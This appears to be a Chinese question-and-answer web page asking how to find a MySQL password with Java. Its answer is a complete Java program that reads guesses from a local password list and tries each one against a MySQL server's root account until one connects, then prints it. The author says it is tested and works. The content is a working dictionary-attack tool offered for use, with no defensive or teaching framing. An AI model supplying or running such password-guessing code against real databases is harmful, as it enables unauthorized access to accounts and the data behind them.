當前位置:成語大全網 - 新華字典 - 怎麽用java代碼查出mysql密碼

怎麽用java代碼查出mysql密碼

package com.leo;

import java.io.*;

import java.sql.*;

public class Pass{

public static void main(String[] args){

BufferedReader br = null;

try{

br = new BufferedReader(new InputStreamReader(new FileInputStream("D:\\pass.txt")));

Class.forName("com.mysql.jdbc.Driver");

Connection con = null;

String url = "jdbc:mysql://127.0.0.1:3306/mydb";

String username = "root";

String password = "";

while((password = br.readLine())!=null){

try{

con = DriverManager.getConnection(url,username,password);

if(con != null){

System.out.println("OK:"+password);

break;

}

}catch(Exception e1){

}

}

}catch(Exception e){

e.printStackTrace();

}finally{

try{

br.close();

}catch(Exception e2){}

}

}

}

大概就是這樣了!測試過的,可以!